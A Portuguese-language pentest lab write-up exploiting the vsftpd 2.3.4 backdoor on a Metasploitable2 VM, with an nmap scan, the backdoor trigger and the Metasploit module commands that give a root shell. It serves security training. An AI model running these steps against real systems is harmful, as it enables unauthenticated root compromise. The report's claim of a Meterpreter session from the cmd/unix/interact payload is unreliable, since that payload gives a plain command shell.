
Explorando o backdoor do vsftpd 2.3.4 (CVE-2011-2523) no Metasploitable2 — um relatório de laboratório prático de pentest cobrindo reconhecimento, exploração e correção.
Um laboratório prático demonstrando descoberta e exploração de uma vulnerabilidade de backdoor conhecida no vsftpd 2.3.4, usando um ambiente isolado Kali Linux ↔ Metasploitable2.
Pratique o fluxo de trabalho central de teste de penetração — reconhecimento, identificação de vulnerabilidades, exploração e verificação pós-exploração — contra uma máquina alvo deliberadamente vulnerável.
| Componente | Detalhes |
|---|---|
| Atacante | Kali Linux 2026.1 (VMware) |
| Alvo | Metasploitable2 (VMware) |
| Rede | NAT, isolada do host/internet |
| IP do Alvo | 192.168.233.129 |
Ambas as VMs foram mantidas no mesmo segmento de rede privada, isoladas da rede real, para garantir que o exercício não tivesse exposição externa.
nmap -sV -sC 192.168.233.129
Escaneou o alvo em busca de portas abertas e versões de serviços. Os resultados incluíram:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
...

A porta 21 estava executando vsftpd 2.3.4. Essa versão específica é publicamente conhecida por conter um backdoor: em 2011, o arquivo-fonte oficial do vsftpd foi comprometido e código malicioso foi inserido. Fazer login com um nome de usuário contendo a string :) ativa um listener oculto na porta TCP 6200, concedendo um shell remoto não autenticado.
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.233.129
set payload cmd/unix/interact
run
O exploit acionou com sucesso o backdoor e retornou uma sessão Meterpreter.

sessions -i 1
sysinfo
getuid
Confirmou a sessão ativa e o nível de acesso no host comprometido.


Obteve acesso total de shell remoto em nível de root à máquina alvo, sem exigir autenticação, ao explorar um único serviço desatualizado e com backdoor.
Um único serviço desatualizado com uma vulnerabilidade pública conhecida foi suficiente para o comprometimento total do sistema — sem necessidade de desenvolvimento de exploit personalizado ou técnicas avançadas. Isso destaca por que o gerenciamento de patches e a higiene de versões são fundamentais para a postura de segurança no mundo real.
Este exercício foi realizado exclusivamente contra o Metasploitable2, uma máquina virtual deliberadamente vulnerável projetada para treinamento de segurança, dentro de uma rede de laboratório isolada, sem conexão com sistemas de produção ou infraestrutura de terceiros.